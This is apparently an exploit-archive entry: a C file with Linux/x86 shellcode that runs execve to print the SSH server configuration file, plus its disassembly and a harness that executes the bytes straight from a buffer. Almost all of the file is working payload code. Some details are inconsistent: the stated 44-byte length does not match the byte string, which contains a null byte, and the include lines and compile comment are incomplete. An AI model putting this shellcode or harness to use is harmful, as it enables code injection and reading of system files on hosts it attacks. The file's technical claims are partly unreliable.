/* # Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes # Author: Goutham Madhwaraj # Date: 2018-10-22 # Tested on: i686 GNU/Linux # Shellcode Length: 44 # ShoutOut - BarrierSec # gcc -fno-stack-protector -z execstack loader-bind.c -o Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor eax,eax 8048082: 50 push eax 8048083: 68 2f 63 61 74 push 0x7461632f 8048088: 68 2f 62 69 6e push 0x6e69622f 804808d: 89 e3 mov ebx,esp 804808f: 50 push eax 8048090: 68 6e 66 69 67 push 0x6769666e 8048095: 68 64 5f 63 6f push 0x6f635f64 804809a: 68 2f 73 73 68 push 0x6873732f 804809f: 68 2f 73 73 68 push 0x6873732f 80480a4: 68 2f 65 74 63 push 0x6374652f 80480a9: 89 e1 mov ecx,esp 80480ab: 6a 00 push 0x0 80480ad: 51 push ecx 80480ae: 53 push ebx 80480af: 89 e1 mov ecx,esp 80480b1: 50 push eax 80480b2: 89 e2 mov edx,esp 80480b4: b0 0b mov al,0xb 80480b6: cd 80 int 0x80 ===============POC by Goutham Madhwaraj========================= */ #include #include unsigned char code[] = \ "\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x6e\x66\x69\x67\x68\x64\x5f\x63\x6f\x68\x2f\x73\x73\x68\x68\x2f\x73\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x6a\x00\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }